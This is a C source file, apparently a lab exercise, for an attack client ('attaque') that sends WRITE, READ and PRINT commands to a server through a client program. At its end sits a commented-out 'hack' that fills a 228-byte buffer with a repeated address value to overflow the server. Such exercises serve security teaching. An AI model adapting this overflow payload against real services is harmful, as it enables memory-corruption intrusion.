#include #include #include #include #define LATENCE 10000 #define FUNCTION usleep #define SIZE_BUFF 228 char prog_name[100]; void runClientWithCommand(char *cmd) { FILE *prog = popen(prog_name, "w"); FUNCTION(LATENCE); if (prog == NULL) { printf("ERREUR\n"); return; } fprintf(prog, "%s", cmd); printf("%s", cmd); FUNCTION(LATENCE); fprintf(prog, "QUIT\n"); printf("QUIT\n"); pclose(prog); } int main(int argc, char *argv[]) { if (argc != 3) { printf("Usage : ./attaque addresseServeur portServeur\n"); return 2; } int port = atoi(argv[2]); if (port <= 0 || port > 65535) { printf("Usage : ./attaque addresseServeur portServeur\n"); return 3; } sprintf(prog_name, "./client %s %s", argv[1], argv[2]); // On ecrit 100 a l'index 2 printf("-- Write --\n"); runClientWithCommand("WRITE 100 2\n"); // On affiche la valeur a l'index 1 printf("-- Read --\n"); runClientWithCommand("READ 1\n"); // On affiche le tableau sur le serveur printf("-- Print --\n"); runClientWithCommand("PRINT\n"); // TODO // // On hack pour RESET // printf("-- Hack --\n"); // char buff[SIZE_BUFF + 1]; // int i; // for (i=0; i<(SIZE_BUFF / 4); i++) { // buff[(i*4)] = 0xef; // buff[(i*4) + 1] = 0xca; // buff[(i*4) + 2] = 0x5c; // buff[(i*4) + 3] = 0x56; // } // buff[SIZE_BUFF] = '\0'; // runClientWithCommand(buff); }